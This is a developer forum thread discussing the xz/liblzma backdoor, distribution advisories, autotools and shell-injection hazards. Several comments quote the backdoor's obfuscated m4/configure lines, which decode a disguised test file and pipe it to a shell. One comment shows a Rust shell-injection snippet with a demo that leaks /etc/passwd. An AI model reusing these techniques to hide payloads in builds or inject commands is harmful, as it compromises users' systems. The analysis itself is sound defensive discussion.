        To design the perfect anti-Unix, discard or bypass memory management so that a runaway process can crash, subvert, or corrupt any running program.

        The ease of being able to crash any *nix really makes this a silly statement. Just use a lot of resources really fast and that’s it. Which is most often what a runaway process will do. A fork-bomb will bring down an entire company of thin clients.


        DJB’s response to RCE is “not on my machine” and then refuses to add any fixes so he can keep his security record squeaky clean. Not exactly a great source of security processes


        But when it is used, it’s still in the same address space. Which allows Jia Tan to put his hooks in sshd.

        And what of the other options? Why focus on the two projects that were chosen, instead of all projects that could have been chosen as targets? That would have been chosen if this dependency path wasn’t available? It’s not like they would have just given up if lzma got removed from sshd’s dependencies for unrelated reasons.

        1. 2

          while still being completely aware of socket metadata, unlike inetd

          What socket metadata do you mean? A child of inetd can call getsockname or getpeername; what else is there?

        2. 1

          notifications are to make scheduling services easier, e.g. something that depends on sshd (lets say, some cursed service that uses ssh to elevate privileges or something) can’t run just because sshd is running, it needs to wait until sshd is ready to receive connections.

          Thanks, this makes sense

          From the “new world” of dependencies. There is upstream support for Kerberos, PAM, other compression methods, X11. Its not exactly a safe world?

          I’d again say “defense in depth” is a good thing. The existence of other avenues of attack does not justify leaving open this one

          Also someone disputed Pottering’s assertion of this on Hacker News - https://news.ycombinator.com/item?id=39878181

          The ease of being able to crash any *nix really makes this a silly statement. Just use a lot of resources really fast and that’s it. Which is most often what a runaway process will do. A fork-bomb will bring down an entire company of thin clients.

          Resource exhaustion is VERY different than Remote Code execution.

          Multi-process architecture helps with both.

          cgroups work on processes and I believe they will easily solve the fork bomb problem. You can limit or disable forking processes after a certain point.

          If you don’t have separate processes, than many Unix and Linux mechanisms are unavailable to you. You can’t drop privileges or use cgroups.

          DJB’s response to RCE is “not on my machine” and then refuses to add any fixes so he can keep his security record squeaky clean. Not exactly a great source of security processes

          That could be true, but we could also learn from DJB. It’s not mutually exclusive.

          You can implement more features in untrusted processes, rather than trusted ones

          And what of the other options? Why focus on the two projects that were chosen, instead of all projects that could have been chosen as targets? That would have been chosen if this dependency path wasn’t available? It’s not like they would have just given up if lzma got removed from sshd’s dependencies for unrelated reasons.

          Uh I focus on these precisely because someone catastrophically attacked them :) The exploit was deployed; it wasn’t theoretical.


          IMO the dependencies should definitely be removed. That’s the easiest way to solve the problem.

          There are a bunch of proposed “solutions” to this problem:

          • Make all open source maintainers register a real identity
          • Make all open source maintainers log in with 2FA
          • Make some kind of “big tech funded” security thing that throws money at open source projects. (already exists – Linux Foundation threw some money at bash in 2014, after ShellShock)

          IMO there are upsides and downsides to all of them.

          But there is zero downside to:

          • sshd should not link libsystemd, as Pottering suggested. It should use the systemd protocol with 10 lines of C.
          • systemd should probably not depend on xz-utils at all. Compression works perfectly over pipes.

          The fact that there are other attack avenues don’t justify keeping this one open. It seems poorly implemented and designed to begin with

    7. 25

      Red Hat’s response: https://www.redhat.com/en/blog/urgent-security-alert-fedora-41-and-rawhide-users

      Although Fedora 40 beta contained the 5.6 version of xz in an update, the build environment prevents the injection from correctly occurring, and has not been shown to be compromised. Fedora 40 has now reverted to the 5.4.x versions of xz.

      PLEASE IMMEDIATELY STOP USAGE OF ANY FEDORA 41 OR FEDORA RAWHIDE INSTANCES for work or personal activity.

    8. 24

      Honestly some of the obfuscation makes it look more suspicious, not less.

      The reporter writes:

      …; sed rpath ../../../tests/files/bad-3-corrupt_lzma2.xz | tr “ -_” “ _-” | xz -d | /bin/bash >/dev/null 2>&1; …

      First, xz -d | /bin/bash is a sign that test data actually contains bash code.

      Then:

      Leaving out the “| bash” that produces

      … export i=”((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null)

      I cannot think of any reason why you would want to use such head invocations in shell, other than obfuscation. Any other ideas?

      And this is near the beginning of the obfuscation, so it would make sense to keep digging at that point.

      It’s suspicious from decompressing the the testdata files, in other words.

      Of course most people think “all shell is just gobbledygook”, but you can read it with enough practice :-)


      But kudos to Andres Freund for actually digging, and not taking things at face value!

      1. 32

        autotools support so many broken/weird/obsolete environments with hacks in top of hacks and obscure m4-generated boilerplate that honestly this doesn’t look out of place.

        1. 17

          Hm I think this is just repeating the “all shell is just gobbledygook” line of thinking.

          Which comes with “I’ll just do whatever it takes to make it work, without understanding what I’m writing, or understanding the language I’m writing in”.

          So:

          • If you didn’t notice that in thousands of lines of “line noise”, I don’t blame you.
          • But if I focus you on xz -d | /bin/bash , and you still don’t know what’s wrong, or are not willing to spend some time to learn why there could be something wrong, then there is a problem.

          I would go as far as say it’s laziness or carelessness in coding.

          There shouldn’t be special, lax rules for the “crappy code” – when you write crappy languages, you actually need to take more care.

          The care you put it in should depend on how critical the software’s function is, not really the language it’s written in. That seems to be lost on most people writing shell. (and yes some of those people were autoconf maintainers using it 20+ years ago)

          Most shell is kinda copied and pasted, and it is “accepted” to have string injection bugs and the like. But we should change that.


          Likewise, if I focus your attention on this line:

          // Construct the command we want the $SHELL to execute
          let command = format!("cd {:?}; /usr/bin/env -0;", dir);
          

          You should know what’s wrong with this. Full stop. No excuses.

          Is it OK for you to write SQL without knowing what an SQL injection is, how to prevent it, and how to look for it?

          This is basically the point of https://www.oilshell.org/ - there’s no reason that shell shouldn’t be a “real” language, rather than a second class language.

          This has been done for 2-3 years now.

          We need some more help from people who know how programming languages work - see #help-wanted on https://oilshell.zulipchat.com and almost every release announcement

          To the extent that you believed in RIIR (“Rewrite it in Rust”) for memory safety, you should also believe in RIIY (“rewrite it in YSH”) for string safety.


          Shell is actually a fundamental language – it’s not going away – because it’s glue that joins others.

          Every time someone makes a new programming language, I say: “OK that’s another reason you’re gonna need a shell script”. New programming languages create interoperability problems, and shell solves them.

          How do a Rust program and a Zig program communicate? The lowest common denominator is likely a byte stream. What about a Mojo program and a Zig program?

          1. 29

            That line of thinking gives you the C/Cpp problem of “if only people paid attention” of dismissing problems.

            We know, for years, that shell scripting are non ergonomic for finding these kinds of error. If everyone keeps making the same mistakes, the problem is the tool. Not the people.

            You can imagine, and research have built, multiple ways to deal with that problem.

            We also know how to write better tools than autotools to solve the problem autotools target.

            We, as an industry, have not been able to fund and build tools using this knowledge to make more ergonomical tools… Except for Rust.

            I have written about this multiple times.

            https://www.softwaremaxims.com/blog/memory-safety-end-history https://www.softwaremaxims.com/blog/remove-constraints https://www.softwaremaxims.com/blog/process-engineering-software

            1. 8

              I guess that’s why they build Oil Shell and don’t just complaim about shells being broken ^^

              1. 6

                I mean yes i know. But they complain about “people should know” ;)

            2. 8

              I think you need to re-read my comment, and yes you should understand what’s wrong with the snippet.

              The snippet is written in Rust.

              It’s also not something I made up; it’s real code.

              Please take some time to understand the issue. It will also help you understand SQL injections.

              1. 2

                Since many people were confused, I made an executable demo:

                https://github.com/oilshell/blog-code/tree/master/rust-shell-injection

                Details: https://lobste.rs/s/uihyvs/backdoor_upstream_xz_liblzma_leading_ssh#c_6zv7sn

                ( This relates to the xz bug only philosophically – confusing code and data. But I stand by what I said – if people don’t know what’s wrong with that line, just by looking at it, then there’s something wrong. There is missing education.)

          2. 29

            The problem with autotools is not that it’s lazy or sloppy coding, but that it’s an extremely outdated idiosyncratic software full of hacks for buggy OSes on exotic dead platforms.

            When it generates seemingly nonsensical code, I have no way of knowing whether that is crappy code, or whether maybe some VAX, Minix, or a 1987 version of SunOS needed it written exactly this way.

            And it’s not a knowledge worth acquiring. It’s not craftsmanship, but obscure trivia about dead systems and tech debt of software that should have been discarded years ago.

            1. 13

              The lazy and sloppy thing about autotools that really annoys me is the way most configure scripts spend ages testing for the existence of functions and headers, then the results of the tests are ignored because the functions and headers have been ubiquitous and standard for decades.

          3. 5

            Is it OK for you to write SQL without knowing what an SQL injection is, how to prevent it, and how to look for it?

            Isn’t the author the person producing the backdoor? The horrible constructs are not an accident, done by someone being sloppy, but that person’s judgment of how to hide their backdoor (in this case, it’s sort of good for us that they weren’t a bit more careful). I’m not sure how saying “if you write shell, you should know well enough that constructs like this are bad news” is relevant. As https://lobste.rs/s/uihyvs/backdoor_upstream_xz_liblzma_leading_ssh#c_wa1mov points out, the problem probably isn’t that someone looking at this code thought “oh, they’re piping xz -d to bash, sounds cool” it’s that no one ever saw that line of code until triaging the performance problem that exposed the backdoor.

            1. 3

              No, the Rust snippet I quoted is not from the backdoor. See the linked comment

              My point is that people accept write shell injections all the time, but they wouldn’t accept writing SQL injections.

              Shell injections are arguably worse, since it’s called “shell code” for a reason :-)

              1. 4

                I see. I think it was a bit confusing to bring in unrelated code, but I understand what you were saying now. I do agree that you should know why the Rust code is bad, and similarly, if you look at xz -d | /bin/bash, you should probably register a WTF.

                That said, I’m not sure how helpful it is to make these observations. An attacker can rightfully expect that no one is looking at the output of autotools, and practices like having non-reproducible release tarballs gives ample room to hide attacks. The fact that this used some relatively suspicious forms of obfuscation may not even have mattered.

                1. 6

                  Well then, one of the immediate lessons we can take from this is that we should move away from autotools and make release tarballs reproducible and verifiable.

          4. 5

            Likewise, if I focus your attention on this line:

            // Construct the command we want the $SHELL to execute
            let command = format!("cd {:?}; /usr/bin/env -0;", dir);
            

            You should know what’s wrong with this. Full stop. No excuses.

            In rust we don’t run arbitrary strings, but use the sane apis for starting subprocesses, like: Command. There should be no excuses for error prone apis.

            Your message sounds very similar to all those C++ apologists claiming that C++ is fine and it’s only those careless developers that need to be more professional.

            1. 5

              I didn’t write that code – it’s real code somebody wrote in Rust – please read the comment, and linked comment

              1. 7

                You didn’t write the code but you also didn’t post the important part where it’s shown that the injection happens in shell, not in rust. And why? Because they pass the unstructured text that the shells loves so much and everyone learned to accept this because how awful shells and various old gnu tooling is (see the current issue).

                Either way, this would have been solved if they stayed in rust and used proper api for controlling starting directory of the subprocess I linked, instead of using stringly typed shells for this.

                1. 2

                  I did post the important part where the injection happens. It’s in the line you quoted.

                  Demo: https://github.com/oilshell/blog-code/tree/master/rust-shell-injection

                  Compile main.rs and run ./main and see what happens.

                  If that line were correct, then the exploit in the hidden dir would not matter. It would be a normal directory you can cd to.

                  But instead it’s treated as shell code, and the file PWNED will appear in the current directory, with the contents of /etc/passwd.

                  You should take some time to understand this.

                  They are all instances of the same problem, and it’s worth understanding.

                  1. 1

                    You seem to be confused about what I wrote so I made a patch for your example.

                    As you can see, using proper rust api saves you from the “hack”. But since shells have trained everyone to just dump everything into one whole string, we are where we are… I know perfectly well what you think is wrong with your example, it just that I don’t think that it means that people should think ‘Oh, that’s a shell injection’ seeing this. In my opinion they should think ‘Oh, shells expose a very error prone api, let’s not use them at all’.

                    1. 4

                      The patch is right. It seems like you changed your mind – you said - “In rust we don’t run arbitrary strings, but use the sane apis for starting subprocesses”.

                      The original code does use Command, but uses it incorrectly. It should definitely look wrong because it uses string concatenation to generate code, without proper escaping.

                      It’s 1 line of code, that’s obviously wrong.

                      But you wrote

                      Your message sounds very similar to all those C++ apologists claiming that C++ is fine and it’s only those careless developers that need to be more professional.

                      Now that you wrote the patch:

                      Do you think that Rust programmers should be more careful, and use Command the way you used it in the patch? And not the way it is in the original code?

                      Or do you think that the original code was not a problem?

                    2. 3

                      I don’t think shells have done that? It’s hard to do accidental shell injection from shell. For my money, other languages have trained everyone to do that by making things like piping processes together much more verbose than simply asking sh to do it.

                      Rust does not solve this problem.

                      1. 3

                        Spot on. It’s not shell that has an injection problem. To test that hypotheisis, just translate that inline shellscript into any other language.

                        The injection problem comes from trying to put that shellscript together dynamically. The string processing is what’s wrong. Or mixing code and data, as andyc said. In my words, that format!() call is verboten – the job is not done before that is also removed.

                        The fix was simple in this case, because the directory could be set from Rust, but for a more general solution, remember that shellscripts can take arguments:

                        [shell, "-c", "cd \"$0\" && command env -0", directory]
                        

                        One of my pet peeves is that people don’t realize they are writing shellscripts, because they write Python, Rust or whatever, without counting such inline shellscripts, yet inline shellscripts are easily more concerning. More about that: How to avoid invoking the shell with improper quoting

                        1. 3

                          Yeah. We’re veering way off topic here, but I’d love to see a language that makes a type-level distinction between strings that are known statically and those that aren’t, with the latter excluded from use as source code inputs to sh, sql, etc.

                          1. 4

                            Perl’s taint mode does that dynamically, but yes it would be nice to make it a static property.

            2. 2

              In rust we don’t run arbitrary strings

              For some value of “we”…. I, too, know better and try to do things the Right Way, and maybe most of us do, but unfortunately not everyone does. :-)

              1. 1

                Yeah poor choice of words. What I meant is that in rust it’s usually very easy to do the „right thing” and you have to do some extra inconvenient work to do the stupid/unsafe thing. Which makes such thing easy to spot. This is in contrast to stringly typed interfaces of the shell and gnu build tools which „train” people to expect bizarre solutions and strange workarounds.

      2. 24

        First, xz -d | /bin/bash is a sign that test data actually contains bash code.

        Yes, but that only appears in generated files produced by other generated files (i.e. second-order generated!), in the traditional autotools manner. The first-order generated file change is:

        sed rpath $(am__test_dir) | $(am__dist_setup) >/dev/null 2>&1
        

        Which doesn’t have the “immediately obvious” property you’re pointing out. And the actual line diff in the source that triggers this generated change to appear seems to be:

        gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
        

        None of this appears immediately out-of-place to me in an m4 diff.

        I cannot think of any reason why you would want to use such head invocations in shell, other than obfuscation. Any other ideas?

        This only featured in binary compressed “test” data that was never obviously to be invoked (commit), and the commits that caused its invocation were added separately and very non-obviously.

        1. 3

          I’m not saying that anyone “should” have noticed – Andres Freund was definitely a lucky break for us.

          There’s a very long chain of obfuscations, and xz -d | bash isn’t in the repo literally.

          But from reading this, I believe it is literally in the tarball, though the tarballs all seem to be gone, so I can’t really check:

          https://www.openwall.com/lists/oss-security/2024/03/29/4

          What I’m saying that if you managed to see xz -d | bash, which is relatively early in the chain, then it’s a sign to keep digging. It’s a sign that those compressed testdata files are bash code.

          And there’s no reason for that in xz, or anywhere else. It’s suspicious.

          There’s a lot of digging after that though, and we should be grateful that someone did it relatively quickly!

          1. 16

            But from reading this, I believe it is literally in the tarball, though the tarballs all seem to be gone, so I can’t really check

            It’s not, it’s way more obfuscated than that. The configure script itself even more-so than the m4 file since the pieces are spread about the 25k line shell script.

            You can find the malicious version of build-to-host.m4 in the Debian repo: https://salsa.debian.org/debian/xz-utils/-/blob/46cb28adbbfb8f50a10704c1b86f107d077878e6/m4/build-to-host.m4

            The final part is

            AC_CONFIG_COMMANDS([build-to-host], [eval $gl_config_gt | $SHELL 2>/dev/null], [gl_config_gt="eval \$gl_[$1]_config"])
            

            gl_[$1]_config is set earlier:

              if test "x$gl_am_configmake" != "x"; then
                gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
              else
                gl_[$1]_config=''
              fi
            

            gl_am_configmake is set below, in a different macro:

            gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null`
            

            This locates the malicious test data tests/files/bad-3-corrupt_lzma2.xz in the source, by matching the string ####Hello####.

            gl_path_map is also set in the second macro:

            gl_path_map='tr "\t \-_" " \t_\-"'
            

            gl_[$1]_prefix is set in the first macro:

            gl_[$1]_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"`
            

            This strips everything but the extension of the located test data file, i.e. xz.

            It’s only after you put everything together that you can see that this is really

            sed rn tests/files/bad-3-corrupt_lzma2.xz | tr "\t \-_" " \t_\-" | xz -d | $SHELL
            

            A lot of the malicious lines are surrounded by lengthy comments describing what seems to be subtle behavior, causing the reader to let their guard down and assume that careful thought went into them (and I’m sure it did).

            1. 3

              OK thanks for the link. Yeah I mean you have the pipe to $SHELL there, but I’m not going to claim that will stand out in m4 + shell nonsense.

              To repeat, I didn’t claim that to begin with, I said if you actually got to xz -d | bash it should stand out. But it’s nontrivial to get there.

              The level of “gaslighting” in this person’s comments and commit messages is honestly impressive … It’s like “very confident non-explanations” for why this horrible code exists.

              m4+shell is a good place to hide it. I would like to move to a world where m4+shell nonsense is not normal, and we can just have shell. Which doesn’t need to be like this. It can be read and written, and xz -d | bash would stand out in that world.

            2. 2

              I realized after writing my reply that m4 can never be the executable source in the tarball. (And if it’s not executable, it shouldn’t even be there, honestly)

              Because GNU autoconf is designed to require m4 when making the tarball, but not to require m4 when building it.

              The configuration scripts produced by Autoconf are self-contained, so their users do not need to have Autoconf (or GNU M4).

              https://www.gnu.org/software/autoconf/


              So by the time you build it, you do have pure shell

                   "build-to-host":C) eval $gl_config_gt | $SHELL 2>/dev/null ;;
              

              That’s at line 25,685 of 25,752 of configure.

              Again, I don’t expect anyone to actually read that, but it IS pure shell …

              I am thinking that a should could be instrumented at runtime to find such dangerous patterns …. hm


              Actually now I recall this blog post with the same dangerous pattern:

              $ ls | grep foo | sed 's/.*/rm &/' | bash
              

              which I wrote another comment about:

              https://lobste.rs/s/wlqveb/xargs_considered_harmful

              that led to this blog post - https://www.oilshell.org/blog/2021/08/xargs.html

              I guess I need to emphasize that you can always write better code by not piping in to bash.

              You can always write ./foo.bash or bash foo.bash instead. I think this is not clear to people who use shell.

              As mentioned, I want to disentangle the “dangerous string soup” of shell from “strings as a narrow waist”.

          2. 3

            yeah but it ain’t, and that is my whole point, which counters your whole point. Obviously it’s suspicious, that’s why the folks playing this long game ensured it was nowhere near visible.

            No-one disputes seeing decompress | shell is sketchy as hell, but it is in fact some extremely line-noise/“gobbledygook” shell — which mere mortals cannot reasonably be expected to evaluate when littered across 10k’s lines of shell, m4, etc. — and not that which was visible. It’s okay to take a seat now!

            1. 2

              sigh You’ve misread my comments.

              If you didn’t notice that in thousands of lines of “line noise”, I don’t blame you.

              I guess these types of threads aren’t great for real discussion.

              1. 6

                I think you’re right, they really aren’t. (Once the comment page is of a certain length, it’s probably a good sign that everyone needs to take a seat, myself most certainly included.) I’m going to give you some more credit, where it’s due.

                To zip back up to your comment higher up:

                • But if I focus you on xz -d | /bin/bash , and you still don’t know what’s wrong, or are not willing to spend some time to learn why there could be something wrong, then there is a problem.

                This is clearly true and correct! (Though it seems a bit of a “yeah … and?” situation; I don’t think anyone is disputing that.) And further:

                It’s suspicious from decompressing the the testdata files, in other words.

                Indeed it is. Just doing that would’ve been enough to catch this before it gained exploitability, and I suppose this is a nice warning/reminder that we really do need to check all binary that gets committed to repos, even if it’s “just” compressed test data, or if it’s “just” meant to be e.g. an image. (Which opens up more buckets of worms, because it’s probably not that hard to stenographically embed some exploit data in an otherwise valid image. Woof.)

                1. 2

                  This is clearly true and correct! (Though it seems a bit of a “yeah … and?” situation; I don’t think anyone is disputing that.)

                  People in this thread are disputing it.

                  My point is:

                  • xz -d | /bin/bash looks obviously suspicious if you see it, because it’s a sign of compressed code in the repo or tarball. Executable source code shouldn’t be compressed because that’s a form of obfuscation. There’s no other reason for it.
                  • If let command = format!("cd {:?}; /usr/bin/env -0;", dir); looks obviously suspicious if you see it, because it’s string concatenation of code, without proper escaping. (This example has the wrong form of escaping, which is equivalent to no escaping)

                  However it seems like 80% of the people in this thread don’t understand what’s wrong with the second snippet.

                  I even wrote up the exploit to explain it. And people are still arguing after that. I will attribute it to the thread being heated.

                  https://lobste.rs/s/uihyvs/backdoor_upstream_xz_liblzma_leading_ssh#c_aiqieo

                  I wrote you should understand what’s wrong with this (and didn’t explain it) to prove a point.

                  I guess that got people mad.

                  But the point was real. You should understand what’s wrong with that, at a glance, even if you’re mad and want to write flamy comments.

                  It should jump out, without a second thought. There should be a little guy in your brain jumping up and down screaming “Bobby Tables” !

                  https://xkcd.com/327/

                  I shouldn’t have to go write a POC exploit and show it to you.

                  1. 2

                    I think that perhaps, as much as people are missing the nuance of what you’re trying to highlight, you may be missing what it is they’re seeing/are contesting with in turn. (Your response here misses me again, for instance, despite my having made an effort to bridge the gap, so to speak!) I’m going to leave it here. <3

      3. 9

        Of course most people think “all shell is just gobbledygook”, but you can read it with enough practice :-)

        Of course it’s possible but doesn’t this incident show that there’s quite a lot of code out there where almost no one, except for the author, is reading the code?

        When you know where to look for the problem is obvious but the real issue is the “unknown unknowns” - that is code with issues that you (or anyone else) have not checked.

        1. 7

          Sure, that’s true no matter what the language is. Most code isn’t looked at.

          But I would say that shell is even worse than that. Shell is a language where people who don’t know it write it, and try to read it.

          e.g. C programmers generally have to write it to package their software

          And somehow they will accept flagrantly dangerous idioms in shell, when the equivalent in Python or C would be rejected.


          This is basically the point of https://www.oilshell.org/ as I mentioned above. We want to disentangle two things

          1. “string soup” – generating shell with shell, dangerous mixing of code and data
          2. strings and byte streams as the lowest common denominator between parts of heterogeneous systems. e.g. my Zig + Mojo question above. The “narrow waist”

          The second thing is a fundamental part of shell, but the first thing isn’t.

    9. 20

      HardenedBSD’s response: https://hardenedbsd.org/article/shawn-webb/2024-03-29/hardenedbsd-unaffected-cve-2024-3094-backdoor-xzlzma-560561

      Neither FreeBSD nor HardenedBSD are directly affected by this issue. However, I suspect that those running an amd64 linux glibc jail on FreeBSD (or HardenedBSD) have the potential to be affected.

    10. 19

      Debian security announcement: https://lists.debian.org/debian-security-announce/2024/msg00057.html

      Right now no Debian stable versions are known to be affected. Compromised packages were part of the Debian testing, unstable and experimental distributions, with versions ranging from 5.5.1alpha-0.1 (uploaded on 2024-02-01), up to and including 5.6.1-1. The package has been reverted to use the upstream 5.4.5 code, which we have versioned 5.6.1+really5.4.5-1.

    11. 17

      Here’s a FAQ that looks like a good summary https://gist.github.com/thesamesam/223949d5a074ebc3dce9ee78baad9e27

    12. 16

      Yes, as a smug Go user, this is my reaction. Obviously in terms of vulnerabilities, hackers are going to find the weakest link. Fixing this will just make them move on to the next thing.

      But why is any of this make stuff needed in the first place? You just need to gate some files on OS and architecture. It’s not rocket science and should not require any shell scripts.

      Similarly, doing incremental builds should just be part of the build suite and work by convention. Writing bespoke makefiles for each project is a waste of effort. Have a convention, make a tool once, have everyone use the tool.

      1. 18

        But why is any of this make stuff needed in the first place? You just need to gate some files on OS and architecture.

        Because the matrix isn’t OS + arch it’s OS, arch, toolchain, toolchain version, libc version, and the versions of all the available dependencies. Rather than maintain a potentially infinitely large matrix of possible build/host/target/dependency configurations, you detect what is supported at configuration time and generate files/test features that are required for the build.

        30 years ago when the ecosystem of libc and toolchain implementations was more diverse it was pretty critical to get this right. Today it’s a lot less prevalent, and we have nice to haves like static assertions in C/C++ where we can detect a lot of the weird implementation defined things at compile time and fail fast.

        1. 6

          You still have that matrix with make-like systems. You just have it in an inscrutable form that is hard to debug (and easy to insert obfuscated backdoors in!). The Go tool has to solve all those same problems and it does it with a relatively well documented series of build tags, compiler flags, and dependency manifests. How does os.OpenFile work on WASM? Well, it’s right here: https://cs.opensource.google/go/go/+/refs/tags/go1.22.1:src/os/file_open_wasip1.go

          Having conventions is not perfect, and there will always be some corner case that won’t work and need a custom build process, but it’s more than enough for 99% of software that just has simple needs, like a compression library that just needs to be able to read and write streams and files.

          1. 4

            I don’t think it’s a good situation (in fact I work on a build system that hopes to change it) - just trying to answer the question of “why.”

            One big difference from Go is that Go doesn’t have multiple implementations and does not target that many environments - and more importantly, it has the benefit of learning from the mistakes of C. We know today that you can get very far by limiting the scope of what environments your language targets and using version/platform detection for the toolchain is good enough, that wasn’t true in the past.

            1. 10

              [Go] has the benefit of learning from the mistakes of C

              C also has the benefit of learning from the mistakes of C, it just … doesn’t want to. 🙃

              1. 4

                Shout-outs to people like JeanHeyd who are dragging the standard kicking and screaming into the future.

                1. 3

                  For anyone that doesn’t want to access twitter: the blog is at https://thephd.dev/

                2. 1

                  Yeah, I’ve read quite a few of his blog entries. Awesome stuff, and it makes me so happy that there are advocates for progress within the C standard community. 👏

            2. 6

              Technically, there are three implementations of Go: GC (the Go everyone thinks of; confusingly, it means Go Compiler, not Garbage Collection), GCC Go, and Tiny Go. But yes, it’s basically just one Go in practice.

      2. 4

        You just need to gate some files on OS and architecture.

        It is just not that simple in C. Go avoids the need for much of this because it’s operating at a much higher level, architecturally. What “OS” and “architecture” even mean aren’t neatly defined like they are in Go-land; they’ve been stuffed into little boxes over there, but when you’re building some complicated and interwoven set of dynamically-linked libraries (with which features are possible to request gated depending on what dependencies are installed, sometimes on what your kernel supports — which of course can vary within whatever sized pigeon-hole you might assign to “OS” and “arch”), it’s just not that simple.

        The complexity didn’t arise for no reason. That’s not to say it’s good or that the complexity has been captured well — it clearly hasn’t — but if it were really as simple as you’re making it out to be, presumably every attempt at replacing autoconf thus far wouldn’t have enjoyed only middling success at best. It might just be rocket science.

        1. 7

          In Go, if I wanted to compile in some dependencies only conditionally, I would put them behind build tags. It’s a non-problem. OS and arch are just two particular kinds of build tags, but they can be arbitrarily anything. Go version is another build tag.

          It’s rocket science in C because they made it rocket science because that was easier than solving the coordination problem. I’m not saying the coordination problem is easy to solve. It’s obviously not or else it would be solved. But it literally is just a coordination problem.

          1. 7

            I’m not saying the coordination problem is easy to solve. It’s obviously not or else it would be solved. But it literally is just a coordination problem.

            This is sort of like saying that solving world peace is a communication problem: it may be accurate, but completely fails to capture the scope and impracticality of solving the problem.

            Unlike most languages, C is standardized, but the standard allows for a lot of variation in target systems, so compilers must support all of the possible variations that can exist (not just those the compiler maintainers know about, but all variations that are possible). This translates to an enormous number of properties that can change how a program/library needs to be compiled - some that are easy to detect or relatively fixed, and some which are highly variable (e.g. the set of libraries present and their versions, even sometimes the specific features that those libraries were compiled with). I think most languages sidestep this issue by either eschewing support for a bunch of systems, or by relying on what C provides them.

            It’s no surprise that something like autoconf ended up being the solution to the problem. It is a pragmatic solution to a problem that is essentially open-ended and likely has no “good” solution.

            Everyone hates autoconf, but imagine trying to maintain a library back when it was developed without it, it was a neverending stream of issues like “hey, your library broke when I compiled it with X version of Y package”, or “why doesn’t this work on my system (goes on to describe an unusual system configuration)”, and/or chasing your tail as each time you fix an issue, you introduce another. Autoconf provided relief there.

            Anyway, that’s my two cents. I think everyone talking about how this was bound to happen and how horrible autoconf is, are sort of ignoring the reality of why it exists in the first place, and glossing over what it means to solve those problems, to the extent it is even possible at all. The OP is a prime example of this IMO.

            1. 6

              I wouldn’t say it’s quite as bad as world peace, but yes, it’s quite hard. It’s hard enough that it has repeatedly proven easier to get people to rewrite code in Go or Rust or whatever than to fix C/C++. Incidentally, I don’t know Rust very well, but my impression is that Cargo is another existence proof that the make/config problem can be solved by good tooling conventions.

              1. 6

                I’m not sure those rewrites actually solve this problem though. Both Rust and Go support a more limited variety of targets than C, and benefit significantly from existing C libraries that in turn lean on autoconf (or equivalent tooling) to support not only the targets Rust/Go/etc. support, but also the ones they don’t.

                I will absolutely agree (as a heavy Rust programmer myself), that both Rust and Go get a lot of things right with package/dependency management and solving this problem within their ecosystems. Rust especially provides a lot of extremely useful tools for handling conditional compilation and handling oddities in the compilation environment, including external dependencies, via things like build scripts.

                That said, as soon as you depend on something (particularly libraries or OS features) which are not part of or natively supported by the Rust/Go/etc. toolchains, you are in the wild west again. I’ve seen (and written) absolutely horrible Rust build scripts to handle all the possible variations in build and runtime environment, and even those I suspect were flawed in the same kind of way that autoconf is. It is just that in practice, most people don’t deal with this problem, because they are not building tools/libraries that need that kind of support (these days anyway).

                Basically, my point is that tooling conventions only get you so far (although they can get you far enough in most cases IMO) - but they can’t really solve for the inherent unpredictability that arises from combining different tools/libraries together, across a variety of architectures, possibly with a mishmash of different hardware capabilities/features (some of which can be toggled at runtime, so are not even something you can represent statically as a property of specific hardware).

                1. 5

                  Specifically xz though, what did it need? The library needed ~nothing from the OS, and just needed to detect SIMD stuff at compile time if it does SIMD (I don’t know), and the CLI needed an OS package for file stuff. Plus there needs to be a test harness of some kind. It just did not have build requirements that necessitated leaving a giant haystack lying around for someone to put a needle into. It is 100% boring, bog standard, and not different than say https://github.com/mholt/archiver which does not have a Makefile and has a totally normal .goreleaser.yml.

                  1. 3

                    I’ll certainly concede that in this case, and probably many others, autoconf may be way overkill for what is needed. I don’t know for sure if that’s the case with xz, but I wouldn’t be surprised. Removing unnecessary complexity from our systems should absolutely be a priority if we want to actually defend against security issues like what happened with xz.

                    That said, what happened with xz was less about the use of autoconf, that’s just a convenient target for people to blame. The real problem is what happens when a patient bad actor gains control of a project as the sole active maintainer. Improper code review is part of the equation here, but the larger issue is that few people even review the code in their dependencies, let alone the commit history. What happened with xz could happen with many important projects we all depend on, that happen to be maintained by individuals, or a group of devs who fail to notice a clever vulnerability introduced over time, incrementally. Blaming autoconf just feels like missing the forest for the trees to me.

                    1. 4

                      Obviously in terms of vulnerabilities, hackers are going to find the weakest link. Fixing this will just make them move on to the next thing.

                      I agreed with that point at the start of my thread but saying “oh well” is a defeatist attitude. Things only get better when people are annoyed enough to insist on fixing them. We could say why patch one buffer overflow when there’s always another but that’s a bad attitude. We fix what we can fix when we can fix it and today it’s autotools turn to be the thing people want to fix.

                      1. 2

                        I’m certainly not saying “oh well”, in my opinion “fixing” autotools is spinning our wheels. What I would like to see us focus on are:

                        • Better tools for reviewing and auditing our dependencies
                        • Better practices with regard to what is considered acceptable in our build processes (i.e. no random binary blobs in the tree)
                        • More effort and financial support given to the critical tools and libraries used throughout the software ecosystem (so that we are never in a situation where a core library is left alone in the hands of a single maintainer, trusted or not).

                        Those are harder problems in a way, but I think ultimately the kind of changes that will have real and lasting impact on the security of open source software.

                        1. 4

                          Back in 2021 I blogged about the need for government funding of OSS. That’s the real root cause fix, sure. But there can be multiple things to fix at other levels.

                          I’m not sure how you’d keep a random binary blob out of the xz tree though. It really does need to have test files that are broken archives. That is why it was such a clever hack to use that as a vector.

                          1. 3

                            Tim Bray has a similar proposition:

                            https://lobste.rs/s/mg8v5q/osqi

                            Whether it should be a government agency or a quasi-public one funded by mandatory payments (a la insurance) is an open question. I still feel that this is an area where the established insurance companies can step up, at least with regards to funding ideas.

